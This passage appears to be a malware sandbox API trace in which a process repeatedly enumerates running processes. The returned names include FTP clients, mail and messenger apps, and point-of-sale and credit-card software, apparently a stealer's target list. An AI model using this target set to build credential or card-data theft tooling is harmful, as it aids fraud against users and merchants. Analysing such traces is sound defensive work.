lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0135.607] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0135.610] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0135.612] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0135.615] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0135.618] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0135.621] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0135.624] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0135.626] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0135.629] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0135.632] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0135.634] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0135.637] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0135.640] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0135.643] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0135.645] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0135.648] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0135.650] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0135.653] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0135.655] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0135.658] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0135.660] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0135.664] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0135.667] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0135.670] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0135.673] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0135.680] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0135.683] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0135.686] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0135.688] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0135.691] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0135.695] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0135.698] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0135.701] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0135.704] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0135.707] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0135.709] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0135.712] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0135.714] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0135.717] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0135.719] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0135.722] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0135.724] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0135.727] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0135.729] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0135.732] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0135.734] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0135.736] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0135.739] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0135.742] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0135.745] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.747] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0135.749] CloseHandle (hObject=0x1e10) returned 1 [0135.749] Sleep (dwMilliseconds=0x64) [0135.851] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dd8 [0135.864] Process32First (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.865] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.867] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.868] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.871] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.873] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.875] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.877] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.878] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.880] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.882] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.884] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.886] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.918] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.920] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.922] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.924] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.926] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.928] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.929] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.931] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0135.933] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.935] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.937] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0135.938] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0135.940] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0135.941] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.943] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0135.945] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0135.947] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0135.949] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 